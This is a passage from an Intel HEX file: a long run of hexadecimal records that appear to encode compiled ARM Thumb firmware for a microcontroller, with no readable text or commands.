:103460000898E5F709FD65E7F0B50D0089B003A9F7 :1034700007002800E5F770FD00240600039904A862 :1034800003F0D3FF069B0193039BA34207D82800B8 :10349000E9F7B4F904A9E5F7EFFC09B0F0BD305D38 :1034A000B847019B18550134EEE713B50C00012A0B :1034B00009D101A9E5F750FD019B2060636042231B :1034C0000020A36016BD00230B604B60013B8B60A6 :1034D0000120F7E713B5040001A98068E5F73CFD7A :1034E000E3680199020000208B4205D2D25C0130D2 :1034F000520001331043E36016BD07B501A9E5F79B :103500002BFD0199F2F7F4F8C300062018430EBD15 :10351000836870B55D1C040085604068E9F7C4FBF2 :10352000E9F750FA854201DB0023A3600121A3687B :1035300004225B0019436068E9F7CCFB70BD73B5EA :10354000050001A98068E5F707FDEB68019A040012 :10355000002093420CD2E418200003F0C9FE061BA1 :10356000310001222000E5F7BDFCEB689E19EE60FA :1035700076BD10B544680C6081681160C2681A603D :1035800010BD10B50C00F7F7F7FA002903DA002C8C :1035900005DC080010BD0029FBD0002CF9DA091960 :1035A000F7E710B5002806DB002901DACB43C01885 :1035B000F7F7FCF910BD0029FADB401A0130F7E7F4 :1035C000F7B51C000125002A02D1431EE418023D74 :1035D00000220023002906D000230027E356DE0F37 :1035E00000237242BB4100210DE0160E00961E0220 :1035F0000196267817023E433200009F019E64190F :103600003E43330001318142EFD11000190003B075 :10361000F0BD13B5040001931000002904D122006D :1036200001A905F0B8FF13BD01AB1B191419A04285 :10363000F9D0013B197801700130F8E770B50C0042 :10364000512826D010D8482820D004D8012814D0DA :10365000422812D070BD4C2803D0502801D04928F0 :10366000F8D192001351F5E768280FD007D86428E5 :103670001BD0662813D06228ECD1A354EAE76C284B :10368000EFD0712805D06928E4D1EAE7520013533E :10369000E0E7D200A2181360DB175360DAE71800E6 :1036A0009500F8F72FFA2851D4E7D20018008C18AB :1036B000FAF766F820606160CCE7816810B5C368EE :1036C0008C6802000020A34204D2C968980001332C :1036D0004058D36010BDF0B585B001900E00009247 :1036E0000293DEF75FFA019BB34201D305B0F0BD50 :1036F000019B3768043B0393009B002B04D03900E7 :103700001800FEF75BFB07003500039B1C1DA5425C :103710000AD9009B2168002B1AD13A001920DDF745 :10372000B9FD029B984211D0043DAC4225D2009BCA :10373000002B12D12A6839001920DDF7ABFD029B5E :103740009842F1D023682A6822602B600394DCE75A :103750000098FEF733FB0100DFE729680098FEF7C9 :103760002DFB0200E7E72900029B009A0198FFF772 :10377000B2FF35002E000197B5E723683268039F3A :1037800022603360341B019BA410EB1A013C083704 :103790009B10A342E7DB3800029B009A3100FFF741 :1037A0009AFF019FE6E710B50C6802000B00E06885 :1037B000A168EDF7B7F910BD70B50400080000214D :1037C000DDF73EF905002800DDF79CF90100200037 :1037D000002900D170BDE7F779FFF4E710B50A00C2 :1037E0008168C06801F009FD10BD70B505001020AA :1037F000FEF7D9FB04002900E8F7A0F8200070BD0F :1038000073B50D00002411001E0000940123220056 :103810002800DEF793FDA54203D12800FFF7E5FF5E :1038200076BD2000FFF7E1FF3168FFF7C5FFF7E73E :1038300070B50D000400FFF7D8FF002D03D0002362 :10384000A400A34200D170BDE958C268D15004332E :10385000F7E710B5C1688068FFF7EAFF10BD83681D :103860000B60C368136070478160704770B50023B8 :10387000150004000A0081680068E9F77DF9E36833 :103880008000C55070BD4123012800D000231800DE :103890007047202304304B60423308608B60002067 :1038A0007047A021037802000020C133FF33C9050F :1038B0009B005850012318000138C046C046C0463E :1038C000C046C046C046C046C046C046C046C046C8 :1038D000C046F1D1A220C00008581278D04018404C :1038E000704710B50120E8F7A9FB10BD022310B501 :1038F00084171C40013B1C1B802342021B04520AFC :10390000C0151A43C3B2963B5918002903DD8A40FB :103910002000504310BD0B0000201F33FADB49424A :103920000A41F5E707B508001100002200921300D4 :10393000DEF704FDE8F748FD0EBD704710B50C003A :10394000022100F08AF9002802D00470240A447091 :1039500010BDC36910B50400002B04D0B0210902CA :103960001943FFF7EBFFBD21A369090219432000AA :10397000FFF7E4FF10BD70B50D000421140000F046 :103980006CF9002805D0057084702D0A240A457052 :10399000C47070BD10B5DB0011431943FFF7CEFFB3 :1039A00010BD10B5072A09D8D20007290CD80A4340 :1039B0008C21C9011143FFF7C1FF10BD1300402244 :1039C000083BDB001A43F0E7083911438022EEE799 :1039D0004369890070B5CC58E021050043680902AD :1039E000E41A043C23055B0D1943FFF7A7FF2B687E :1039F0000120022B07D1E40AE40204D080231B013A :103A0000E4186042604170BDF8B51D004369920042 :103A1000D45843680600E41A043C6310002D14D106 :103A2000FF2709023B400B43D02109021943FFF74E :103A300085FF33680135022B05D1BC4303D0013427 :103A4000FF34654265412800F8BD80221B059201C4 :103A500022401B0D1343802212021A438023A0121E :103A6000DB0024031840A40E044389010C43F02119 :103A7000090221433000FFF77EFFE4E74369F822A3 :103A8000890070B5CC58F021050043681202E41A91 :103A9000043C63109BB21A4363025B0D0902194395 :103AA000FFF769FF2B680120022B07D1A40DA405A5 :103AB00004D08023DB03E4186042604170BD8020A5 :103AC00010B5C005F3F79AF8FE23FE2140029B05CE :103AD000400A18438905F7F73BFE10BD70B50D008D :103AE000E8F770FF04002800E8F76CFF844202DD6D :103AF0000020DDF7C7FB001B0130F3F77FF800194A :103B0000FEF7BCFF70BDF8B5070008680C00E8F7C9 :103B100059FF0600012F09D1002804DDF3F76EF8E4 :103B2000FEF7ACFFF8BD0020DDF7ACFB6068E8F7FE :103B300049FF851B022F06D18642F4DA2800F3F7ED :103B40005DF88019ECE7A068E8F73CFF041E0ADD89 :103B5000281801382100F6F729FF0028E3DDF3F7E4 :103B60004DF86043EDE70028DDD028180130F1E77B :103B700010B5E8F727FF04001E2801DC002802D159 :103B80000020DDF77FFB8020C005F3F737F8202207 :103B90000123121B5B42D3401840FEF78AFF10BD81 :103BA000F8B505000C00160003F067FD0700A02320 :103BB000A222DB05D2009B580122EB401340A34216 :103BC00010D103F05AFD0700A023A222DB05D2008A :103BD0009B580122EB401340A3420BD003F04DFD54 :103BE000C01BF8BD03F049FDC01BB042DFD302206B :103BF0004042F6E703F041FDC01BB042E4D3012090 :103C0000F6E710B5040001618800FEF7CCF96061A9 :103C100010BD10B50400002902D0C068FEF7F2F90B :103C20006069FEF7EFF910BD70B504000D000129C1 :103C30000AD10121036949429A00406905F0C7FC95 :103C400000232560636070BD0229F9D14068FEF74A :103C5000AAF96368E060A360F2E710B504684268FF :103C60000023022C01D1C3689B18891841601800F9 :103C700010BD0368012B03DC426843698900CA5008 :103C8000704742684B1E9B1849421940416070477B :103C900070B50C001500FFF7E0FF0419002803D1F0 :103CA00070BD05702D0A0130A042FAD1F8E770B559 :103CB0000D000400E8F7A2FD2900036A0422200099 :103CC000984770BD70B50D0016000400E8F796FD2A :103CD0003200036A29002000984770BD70B50D00BE :103CE0000400E8F78BFD2900036A002220009847B2 :103CF00070BD70B50D000400E8F780FD2A008369EF :103D000021001F20984770BD704710B5E8F776FD79 :103D1000406803F073FC10BD10B5830702D0FEF7B6 :103D2000ADFE10BD002803DB012340001843F8E777 :103D3000FEF7BFFEF5E7704770B504000D001600F2 :103D4000E8F75CFDC36A181E06D032002900200087 :103D5000984743425841C0B270BD0023022802D1A7 :103D6000490001330B4318007047F0B585B003904C :103D700008000D0000F0F7FE0524042803DC2800ED :103D800000F0F1FE0400280000F0FBFE05270428E7 :103D900003DC280000F0F5FE0700039B04330193C9 :103DA000002302930093009BA34211DBE343DB1744 :103DB0001C4005236343039AD3180022042C29DCFA :103DC0001A715A719A71DA711A7201340533F5E772 :103DD0000026BE4209DBFB430022DB173B40052BDC :103DE00011D00199CA540133F9E732000099280033 :103DF00000F0ACFE019B029A9855012383401A43C0 :103E000002920136E5E7009B01330093019B0533E5 :103E10000193C8E7039B029A1A8405B0F0BD73B5FD :103E2000060008000D00002405F025FC2300010019 :103E3000220028000094ECF797F901230100009379 :103E4000300023009622EAF74FF873BD70B50400E6 :103E500008001600E8F7B6FD05003000E8F7B2FDEF :103E6000290002002000EAF78FF9430001201843DF :103E700070BDA02104230320C9051A00C132FF32FE :103E8000920001335050102BF7D17047F0B585B038 :103E90001D000AAB1B7817000393039A0368029076 :103EA00000911B6B920719D55B68002401932C606D :103EB000002F10D02B003A0000990298019EB047C5 :103EC000002808D0431C0BD12B680B2B03D1002CEE :103ED00001D000232B60200005B0F0BD1B68E4E793 :103EE0000122039B134205D1009B3F1A1B1800932C :103EF0002418DDE70400EEE710B50022EAF7BCFC69 :103F000010BD30B50C0087B00500012203A9606820 :103F1000E8F712FF032D12D1A068E8F77FFD00211A :103F2000049B5A1A01930492824200D90200039B17 :103F3000206859180223EAF715FE07B030BD042D9A :103F40000BD1A068E8F76AFD0500E068E8F766FDB8 :103F50000499A942E4D92900E2E701200021404266 :103F6000DEE74368F7B505009800FEF71CF8002669 :103F700007006968B14206D83B000022A868DCF758 :103F800069FC04000CE0B30001932B00B2000C3379 :103F90009858DCF7B7FD041E04D13800FEF732F85C :103FA0002000FEBDB300F8500136E2E770B5038C87 :103FB000046B032B03D10023C56A9D4205D18B00FE :103FC000E250FFF756FE012070BD9E00A6599642B2 :103FD00001D00133F1E70020F6E710B50400FFF748 :103FE000B8FC2000FFF7A9FC10BD8BB270B505002E :103FF0000C0003844262032B05D1C36A00219A009E :10400000006B05F0E4FA043C614261412800013193 :10401000FFF70AFE28000021E8F750FA70BD70B5DE :10402000060034200D00FDF7BEFF04002022002111 :1040300005F0CDFA29002000FFF7E3FDA662E56256 :10404000A800FDF7B0FF2063200070BD10B504008C :10405000006BFDF7D7FF00212000FFF7DAFD2000FD :10406000FDF7D0FF10BD102230B58DB006920022B2 :104070000392029201920A320B000500009206A9F7 :1040800007AA08AC05A80594EBF770FA0100280010 :10409000FEF7DDFE0598A04201D0FDF7B3FF0DB09D :1040A00030BD73B50B0069464C1D21007F261500FD :1040B000013C35402570D209F9D1091B984780266B :1040C0000200230001AD7642AB4204D16A46127968 :1040D0001B1BC25473BD1978013331431170013277 :1040E000F2E70300006A5A790918032A02D8180077 :1040F000196270471A6B1018FAE710B50C0001210D :10410000FFF7EFFF047010BD0300806A5A790918A9 :10411000032A02D81800996270475A6A80181A6BED :104120001018F8E710B50C000121FFF7EDFF04703F :1041300010BD10B52821EBF7F3FA10BD10B52921F9 :10414000EBF7EEFA10BD70B504001500FFF7EAFFBB :104150000322A36A042103339343A3622000FFF7E1 :10416000D3FF056070BD70B543790D000024032BAB :1041700006D9836A033CE41AC3699200D358E41851 :104180000321FFF7C1FF4470240A0570847070BDDD :1041900010B53820FDF719FF10BD10B5040081617E :1041A0008800FDF700FFE06110BD10B50400C06994 :1041B000FDF728FF2000FDF725FF10BD13B543795B :1041C0000400012B18D00021FFF797FF6379032B20 :1041D00013D1226AD01C9843A36A20626062E36212 :1041E000C018FDF7F2FEE3682063D88A1B8BC01865 :1041F0008000FDF7EAFE606313BD042BFCD1E0688C :10420000636AE26A216B9A18037D00930069636B0D :10421000F0F784FDF0E78079431E9841C0B2704703 :104220004379012B09D08368C918C3688160DA8B90 :10423000914200DDD98300238371704770B501215D :1042400014000500FFF7ECFF0F2C06D821005039B1 :10425000C9B22800FFF766FF70BD220019212800AF :10426000EBF75EFAF8E770B5150004000121FFF7DF :10427000D7FF2A001A212000EBF752FA70BD70B563 :104280000D0004000121FFF7CBFF2A001B212000B5 :10429000EBF746FA70BD70B50D0004000121FFF781 :1042A000BFFF2A001C212000EBF73AFA70BD012164 :1042B00070B5494214000500FFF7B2FF0F2C06D875 :1042C00021004039C9B22800FFF72CFF70BD220041 :1042D00022212800EBF724FAF8E7012170B5150038 :1042E00004004942FFF79CFF2A0023212000EBF73E :1042F00017FA70BD70B50D00012104004942FFF7A7 :104300008FFF2A0024212000EBF70AFA70BD70B558 :104310000D00012104004942FFF782FF2A002521F8 :104320002000EBF7FDF970BD70B50D000400002111 :10433000FFF776FF2A002A212000EBF7F1F970BD84 :1043400070B50D0004000021FFF76AFF2A002B2141 :104350002000EBF7E5F970BD70B505000498C91AA7 :10436000440000021843059B091B0600D4B2002B31 :104370000AD002392800FFF753FF32000134E1B2BE :104380002800EBF7CDF970BD2800FFF749FF320098 :104390002100F5E770B504000D000021FFF740FF94 :1043A0006379012B05D0032B03D8A26AE369AD0022 :1043B000EA5070BD70B50D00012104004942FFF7BD :1043C0002FFF2A0068212000EBF7AAF970BD70B515 :1043D0000D0004000121FFF723FF2A0069212000BE :1043E000EBF79EF970BD012110B504004942FFF7BB :1043F00017FF6A212000FFF795FE10BDF7B50C00EE :1044000001210500FFF70CFF230010333F2B06D8D6 :1044100021008039C9B22800FFF784FEF7BD1421BE :104420002800FFF77FFE6B46053319007F20E2B2BC :1044300017005E1E0740E4113770671C012F18D863 :1044400040273A40013416D1002A02D1023B1870AD :104450001E002800891BFFF757FE8025020033004D :1044600001AC6D42A3420CD16A4612799B1BC25427 :10447000D4E73300DBE7002AEBD00022023B1A70BE :10448000E6E719780133294311700132EAE770B584 :104490000D0004000121FFF7C3FE2A0016212000B1 :1044A000EBF73EF970BD70B504000D000121FFF778 :1044B000B7FE20001721FFF735FE0322A36A04216F :1044C00003339343A3622000FFF71EFE056070BD17 :1044D00010B504000121FFF7A3FE18212000FFF70B :1044E00021FE10BD70B50D0004000021FFF798FEFD :1044F0002A001D212000EBF713F970BD70B50E00E6 :10450000012114005300C91A0500FFF789FE21009C :104510004C1EA141320028001E31EBF701F970BD9D :1045200010B504000121FFF77BFE20212000FFF7DA :10453000F9FD10BD012110B504004942FFF770FEDE :1045400021212000FFF7EEFD10BD70B50D00022106 :1045500004004942FFF764FE2A0026212000EBF701 :10456000DFF870BD032110B504004942FFF758FE83 :1045700027212000FFF7D6FD10BD10B50400012152 :10458000FFF74EFE30212000FFF7CCFD10BD10B527 :1045900004000221FFF744FE31212000FFF7C2FD95 :1045A00010BD012110B504004942FFF739FE322148 :1045B0002000FFF7B7FD10BD10B504000021FFF784 :1045C0002FFE33212000FFF7ADFD10BD70B50400B4 :1045D0000D00FFF77DFF2000FFF7EEFF2900200010 :1045E000FFF7B3FF70BD10B504000021FFF718FE00 :1045F00034212000FFF796FD10BD10B50400FFF731 :1046000067FF2000FFF7EFFF2000FFF7ABFF10BDB3 :1046100070B50D0004000021FFF702FE2A003521CD :104620002000EBF78BF870BD70B50E00012115006E :1046300049420400FFF7F4FD2A003621002E00D184 :1046400037212000EBF77AF870BD70B50E0001211C :10465000150049420400FFF7E3FD2A003821002E2F :1046600000D139212000EBF769F870BD70B50D005D :1046700004000221FFF7D4FD2A003D212000FFF7AE :1046800072FD70BD70B50D0004000021FFF7C8FD7C :104690002A003F212000FFF766FD70BD70B50D00B8 :1046A00004000021FFF7BCFD2A0040212000FFF795 :1046B0005AFD70BD012110B504004942FFF7B0FD5D :1046C00041212000FFF72EFD10BD70B50D002B001D :1046D0005A1E934103215B4219400400FFF7A0FDDD :1046E0004721002D00D105392000FFF71BFD70BDCB :1046F00070B50D0004000121FFF792FD2A0043214F :104700002000FFF730FD70BD042110B54942FFF7CE :1047100087FD10BD10B504000021FFF781FD442185 :104720002000FFF7FFFC10BD70B504000D00FFF77F :10473000F1FF20000E21EBF7F5F829002000FFF72C :1047400029FE20000221FFF76BFD20003E21FFF72C :10475000E9FC042120004942FFF762FD70BD10B55D :1047600004000021FFF75CFD45212000FFF7DAFC83 :1047700010BD70B50C0000210500FFF751FD2100B0 :1047800030392800C9B2FFF7CDFC70BD70B5050007 :104790000C00222919D00026232901D10136033C1F :1047A000012128004942293CFFF73AFDE1B22800E7 :1047B000FFF7B8FC002E07D000212800FFF730FDDE :1047C000D6212800FFF7AEFC70BD01261F24E7E7C5 :1047D00070B50D0001210400491BFFF721FD2A00DF :1047E00050212000EAF79CFF70BD70B50D0001213B :1047F0000400491BFFF714FD2A0051212000EAF7AD :104800008FFF70BD70B50D0004000121FFF708FD9A :104810002A0053212000EAF783FF70BD022110B562 :1048200004004942FFF7FCFC54212000FFF77AFC0A :1048300010BD70B50D0001210400491BFFF7F0FC0D :104840002A0056212000EAF76BFF70BD70B50D00FD :1048500001210400491BFFF7E3FC2A005821200036 :10486000EAF75EFF70BDF8B50500170003290FD009 :10487000042910D0002402262800E143FFF7D0FCD1 :10488000E2199200324328005721EAF749FFF8BDA8 :1048900000242600F0E70124FBE770B50D000400BA :1048A0000139FFF7BDFC2A0059212000EAF738FF43 :1048B00070BD70B5140005000E008918FFF7B0FC3C :1048C0002202324328005A21EAF72AFF70BD70B550 :1048D0001A430D0004000121002A07D1FFF7A0FCB4 :1048E00060212A692000FFF72EFC70BD4942FFF7C6 :1048F00097FC2A696121F5E770B50E000499040060 :10490000D5B20B430DD10121891AFFF789FC622131 :1049100032692000FFF717FC29002000FFF702FC96 :1049200070BDD143FFF77CFC32696321F1E707B525 :10493000019300920B0064220021FFF70DFD07BDDB :1049400013B50124019300920B0066226142FFF728 :1049500003FD13BD012110B549420400FFF760FCBF :1049600001235B21A3712000FFF7DCFB10BD70B5B4 :1049700005000C004942FFF753FC28000221FFF715 :10498000C3FB5C234470037070BD10B504000021AC :10499000FFF746FC0423E2682000117D0B431375EA :1049A0005D21FFF7BFFB10BD012110B50400494296 :1049B000FFF736FC0423E2682000117D0B431375DA :1049C0005E21FFF7AFFB10BD10B50421FFF728FCF7 :1049D00010BD032110B54942FFF722FC10BD802312 :1049E00007B55B051A6E082100925B6E684601935D :1049F000E4F790FA0EBD10B5EFF3108072B6FEF733 :104A00003DF810BD042301225B1A9A400300411DAA :104A10001878104003D101338B42F9D1704701203F :104A2000FCE710B504210400FFF7ECFF03000420AD :104A3000002B06D103212000FFF7E4FF431E98411D :104A4000023010BD002210B50369027642690400ED :104A5000C36093420ED21878A37E2077002B02D039 :104A60000523637605E0EAF7C3FFFFF7DAFF0130BD :104A7000607610BD202303771B3BF2E7030010B5DF :104A80000020012B02D14868E8F70EF910BD05237C :104A900053435918182903D100790007C00F7047F4 :104AA0000722CB08C0184079114008410123184063 :104AB000F5E783795A43511804224B08C018C0798E :104AC0008900114008410F231840704710B58479C0 :104AD0006243511804228C002240F0241441934078 :104AE00049084118C87904401C43CC7110BDF7B582 :104AF00006000C001F000192BC420DDA019D089BCC :104B00009D4207DA2A00002321003000FFF7DEFF74 :104B10000135F4E70134EFE7F7BD0B011943827962 :104B20004379534301335B10C318984202D0C171DB :104B30000130FAE7704710B58379427900215A4372 :104B400001325210073004F042FD10BD10B5037958 :104B5000DB0705D5FFF79BFF09235843C0B210BD03 :104B6000FFF7A7FFFBE702790523D20700D483797B :104B70001800704710B5FFF7F6FF430001201843F7 :104B800010BD02790523D20700D44379180070477D :104B9000F0B593B0039118990593CB430492199AF9 :104BA000DB171940D343DB171A401A9B0D905E4266 :104BB000049B079109929E4200DA1E00F343DB1723 :104BC0001E401B9B059A5B420293934200DA0292BD :104BD000029B029ADB43DB171A40039B02929B79EC :104BE000049A08939D181A9B0D98ED1AFFF7BBFFC6 :104BF000049B079A9C18AC4200DD2C00069484426A :104C000000DD0690039B0D985C79059BE7181B9BC4 :104C1000FF1AFFF7B6FF059B099A9D18BD4200DDFC :104C20003D002F00854200DD07001A9B1A9ADB43E6 :104C3000DB171A401B9B0A92DB431B9ADB171A40B7 :104C40000B921A9A079B9446089A634407939342DF :104C500000DD07921B9A099B944663440893A34284 :104C600000DD0894069B9E4202DA029BBB4209DBF0 :104C7000089B0B9A00930A99079B0398FFF737FF4D :104C800013B0F0BD049B1A9A93422FDC069B5C1E66 :104C9000731E0E9301235B4209931B9A059B93425B :104CA00029DC7B1E0F93029B013B109301235B4287 :104CB00011931A9BE518049BEB1A0C930E9BA342CD :104CC00025D00F9D109BAB421AD02A0021000D98D1 :104CD000FFF73CFF05991B9A0300521A52190C99D1 :104CE0000398FFF7F3FE119BED18EBE7069B3400EA :104CF0000E930123D0E7029B10970F930123D7E770 :104D0000099A099B9446E4180C9B6344D5E71A9BC7 :104D1000049A0A999C1A1B9B059AA6199D1A029B34 :104D20000B9AEB180293069BED19E41803983300D5 :104D30000095FFF7DCFE089B2A0000930A992300E8 :104D40000398FFF7D4FE089B029A00932100079B6B :104D50000398FFF7CCFE029B0B9A00933100079B50 :104D60008BE7F0B50B6887B048680D000493E7F750 :104D700029FE0590A868E7F725FE0700E868E7F731 :104D800021FE04002869E7F71DFEE343C543DB1756 :104D9000ED171C40054029002000EAF743FE0023E0 :104DA00006000393029301000195049800943B00D0 :104DB000059AFFF7EDFE300007B0F0BD10B5FFF724 :104DC000E0FE43000120184310BDF7B50600FFF7D1 :104DD000CAFE00903000FFF7D4FE010007000098E3 :104DE000EAF720FE00240190BC4212DA0025009B65 :104DF0009D420CDA290022003000FFF7A7FE2900AF :104E0000030022000198FFF761FE0135EFE701344E :104E1000EAE70198FEBD10B5FFF7D7FF10BDF7B563 :104E20000600FFF7A0FE00903000FFF7AAFE0190F9 :104E300001000098EAF7F6FD00240700019B9C4260 :104E400013DA0025009B9D420DDA29002200300074 :104E5000FFF77CFE092329001B1A22003800FFF708 :104E600035FE0135EEE70134E8E73800FEBD10B548 :104E7000FFF7D5FF10BDF0B585B0170004000E0098 :104E8000FFF771FE0100EAF7CDFD05002000FFF7F6 :104E90006AFE002301900393029300903B002000E0 :104EA00032002900FFF774FE280005B0F0BD10B5F0 :104EB00004000800E7F786FD002201002000FFF74C :104EC000DAFF10BD10B504000800E7F77BFD0022F3 :104ED00041422000FFF7CFFF10BD10B504000800CD :104EE000E7F770FD002102002000FFF7C4FF10BDAE :104EF00010B504000800E7F765FD002142422000DC :104F0000FFF7B9FF10BDF7B507000800EAF770FD1D :104F100004240600042300251B1B0193735D01225A :104F2000234113400832534301992A0038000135C8 :104F3000FFF7CCFD052DF1D1013CEBD2F7BD13B548 :104F4000040001A94068E4F721FCA268019900234C :104F50008A4207D2815CE068FFF7D5FFA36801337E :104F6000A360E368180016BDF7B504000F00002524 :104F7000042A0FD101A94068E4F708FC2B000600C1 :104F80003A0001992068E7F7F7FD315CA068FFF768 :104F9000BAFFA5682800FEBD052170B50500080010 :104FA000EAF740FD04002900FFF7ADFF200070BDC7 :104FB00010B50122EBF746F910BD10B50222EBF750 :104FC00041F910BD10B50022EBF73CF910BD02000D :104FD00030B50B688568AB4201D3002009E0D46886 :104FE000D800201804680133002CF4D0042CF2D02F :104FF0000B6030BD010010B50C318068FFF7E7FF92 :10500000002800D0006810BD1FB5010004000C315D :105010008068FFF7DCFF00280DD02379012B0CD02E :10502000022B0CD0036802A902934368022001936B :105030000393EDF75FFD04B010BD0068FBE7406827 :10504000F9E710B50C7A0023012C05D11F2803D1F4 :105050004968EBF7EDF90300180010BD70B50500C5 :105060001020FCF7A0FF04002900EBF7C5FA200090 :1050700070BD70B505008068FFF7F0FF2B684168D0 :1050800003606B680400DA0807230B400121D2009B :10509000134343602A79D207D30F02798A431A4314 :1050A00002239A4302712B79D2B29B080B40033141 :1050B0008A439B0013430371AB68E968DA00C06858 :1050C00004F069FA200070BD4068C008704770B5F0 :1050D0001500040001220430F1F76AFB456020004E :1050E00070BD022213B504000090019110006946C2 :1050F000EBF7A8F8200016BD0430704710B5EDF7A7 :105100000BFF03680620DB00184310BD10B5DCF769 :1051100095FBFDF7B3FC10BD10B5EBF729FC40790A :1051200010BD4A43F8B507001E0014000025B54223 :1051300000D1F8BD22003900069804F02CFA069B35 :1051400001351B190693F2E7F7B50F0000215368EC :105150000800146801939668FEF76AFB0500002EAC :1051600011DA019B9C4201DA2800FEBDA300F95828 :105170002800E6F7ABFAA419F3E7A300F9582800D2 :10518000E6F7A4FAA419019B9C42F6DBECE770B5A4 :10519000049E040015001B2813D10022B5420ED135 :1051A0001A000B0011003200AE4200D92A0018008C :1051B00004F0E3F91B2C10D144426041C2B210004C :1051C00070BD192805D01C2805D032002E0015000E :1051D000E6E71A24E7E71D24E5E700229042EEDB2C :1051E00001320028EBD1AE4202D0AE424041E5E7A9 :1051F0001A3C601E8441E2B2E1E7F8B517000400F2 :10520000002589004618B44203D101206D002843CF :10521000F8BD390001CCE7F783FB431E98412D18F8 :10522000F1E7C26810B50300002A05DD4168806817 :10523000814208DB002010BD101EFCD059689C681C :105240000020A142F7DD012059684C00521820438C :105250005A60F0E783684268C1689B1A5B1810B512 :10526000581C002900DD581EF5F7A0FBC343DB17CF :10527000184010BD10B501242300884202D00278E6 :10528000534253412340180010BD037842780A3B33 :105290001B02134302300B607047838BC26A0133D9 :1052A0009BB28383118C994200D21384704770B5EE :1052B00005000C00100019002A68049BDFF7DCFCD5 :1052C000EB6AA4004360AB6AE05070BD13B5040004 :1052D000080001A9FFF7D9FF0199206BFFF702F938 :1052E00013BDF0B587B005000C0004920593002BA8 :1052F00003D008230A7D13430B75049B6383EB6A79 :105300001B78002B39D1059B049A2100286BFFF7ED :10531000DEFA07B0F0BD926AF300D31803931B784E :10532000033B012B19D8002312E0029BA26ADB0089 :10533000D3181A78042A09D1039A5B6851689942F4 :1053400004D15288286BFEF779FF0137029B0133A5 :105350000293029AA38C9342E7DC0136EA6A938CAB :10536000B342D8DC002FCED0059B3A000093210039 :10537000049B286BFFF7C0FACBE700263700EDE768 :1053800073B51D000B781A320600080093420ED147 :1053900001A9FDF7B6FA019B0400984200D173BD44 :1053A00030002100A8472000FDF7A1FAF3E7002B09 :1053B000F5D03000A847F2E730B5040085B008000A :1053C00003A9FDF759FA63790500012B08D1E36AB7 :1053D00002225B7D0399009303002000FFF767FF23 :1053E000039BA06A9900095848232A002000EBF784 :1053F000ADFC05B030BD7FB50400080003A9160060 :10540000FDF73AFA63790500012B06D103000096F7 :10541000072203992000FFF74AFF2800FDF767FAEB :10542000039BA16A9B005D580200402320002900D5 :10543000EBF78CFCE88904B070BD70B5040008007F :105440000D00FDF754FA01002000EBF7BBFC29002A :105450002000EBF7B7FC70BD10B50400EBF7B2FC11 :10546000206BFFF767F810BD10B50400EBF7AAFC3E :10547000206BFFF796F810BD70B505001400A1422F :1054800000D170BD2800EBF79DFC0100F7E710B5D7 :105490000400FFF7F1FF0B21206BFFF777F910BD38 :1054A000F0B5040085B008000F001500FDF71FFAE5 :1054B000FDF722FA03A9FDF7DFF963790600012B56 :1054C00008D1E36A2A005B7D0399009320003B002A :1054D000FFF7EDFE039BA06A9900002309581A000C :1054E0002000FFF7FEFE3000FDF701FA010020006A :1054F000EBF768FC062D03D10021206BFFF7E5F8E0 :10550000002301211A00206BFFF711FA05B0F0BD4E :1055100070B504000D001600914205D10E21006BFC :10552000EAF700FA022113E00B78AE2B14D1006BDE :105530000E21EAF7F7F92800FDF71EFA0028F1D14D :105540002800FDF7D9F901002000EBF73BFC03210F :10555000206BFFF77BF970BDAF2B0CD10800FDF776 :10556000CBF901002000EBF72DFCFDF7C5F9010098 :105570008642E9D1D6E7EBF725FCD3E770B50D00FD :10558000160004000E21006BEAF7CCF93200290066 :105590002000FFF7BDFF70BD70B515000400EBF7EC :1055A00011FCFDF7A9F92A0001002000FFF7B0FF68 :1055B00070BDF8B50024050016001F00A14202D0FE :1055C000EBF700FC0134BE4204D1286B2100FFF749 :1055D000FFF8F8BD31002800EBF7F4FB0600F1E717 :1055E00010B513000A000021FFF7E3FF10BDF8B566 :1055F000050016001F00EBF7E5FB0400B44200D1E4 :10560000F8BD21002800EBF7DDFB39000400286B12 :10561000FFF7BCF8F2E710B50223FFF7E8FF10BD73 :1056200010B50123FFF7E3FF10BD10B50023FFF70E :10563000DEFF10BD10B50400EBF7C4FB0621206BA4 :10564000FFF797F810BDF7B504000D0017000669C5 :105650000193731C0361BD4204D13100206BFEF73E :1056600099FEF7BD29002000EBF7ACFB050087424F :10567000F1D032000199206BFEF7E7FFEBE710B5A0 :105680000023FFF7E0FF10BD10B50123FFF7DBFF9C :1056900010BDF7B50D00040011002800FDF71BF93F :1056A000290007002000EBF78DFB00230600019383 :1056B000032F03DD23690193013323610123009349 :1056C000009B01339F421BDC032F18DD2569206BF3 :1056D0006B1C23612900FEF79BFF0199206BFEF7ED :1056E00059FE0121206BFEF79BFD206BFEF764FF46 :1056F000206BFEF756FF2900206BFEF74BFEF7BD2F :105700003378012B33D17078B11C36380B282CD864 :10571000F5F7AEF83C2B062B2B2B2B2B252723291B :105720001A252000EBF74EFB009B06000233009386 :10573000BB4205DA206BFEF720FF206BFEF753FF1C :105740002900206BFFF722F8009BBB42B8DA019AD0 :105750000021206BFEF779FFB2E71B25E1E71C254E :10576000DFE71D25DDE71E25DBE71F25D9E722251D :10577000992B06D03000FDF7FFF8023D002800D13C :1057800003353000FDF7B3F80100CAE71925C8E773 :1057900010B5C36A04005A7DFFF72DFE01002000FA :1057A000EBF7B2FB10BD37B50400080001A9256B6B :1057B000FDF758F8019B226A9B0028009958FEF7D4 :1057C00072FE37BD1FB5040023680800002B0BD103 :1057D000002909D00B78192B06D903AB02AA01A91D :1057E000FDF7B6F8029B23601FBDF7B504000D005E :1057F0001700914203D31100EBF7E4FAF7BD0669F5 :10580000731C03610B78902B27D10800FDF774F807 :1058100001002000EBF7D6FA31000190206BFEF773 :1058200025FF002201992000EBF786FD2800FDF7F7 :105830005EF805002000FFF730FD3A002900200047 :10584000FFF7D3FF206B3100FEF76EFFA38B206BB9 :10585000013BA383FEF72EFFD0E7EBF7B3FA31004D :105860000500206BFEF702FF206BFEF79AFEE1E7D2 :1058700013B50400019101A87521FDF751F80199B4 :1058800002002000FFF7B1FF13BD7FB50400080040 :1058900003A91500FCF7F0FF62790600012A05D183 :1058A0000300009503992000FFF701FD206BFEF730 :1058B00037FE039BA26A9B009D58002329001A0013 :1058C0002000FFF70EFDE989206BFEF7E0FD3000B8 :1058D000FDF70DF803780100B82B00D1002120005E :1058E00002230022ECF702F8E88904B070BD10B57D :1058F000C36A04005A7DFFF7C8FF01002000EBF7E0 :1059000003FB10BD91429241002310B511401A00D3 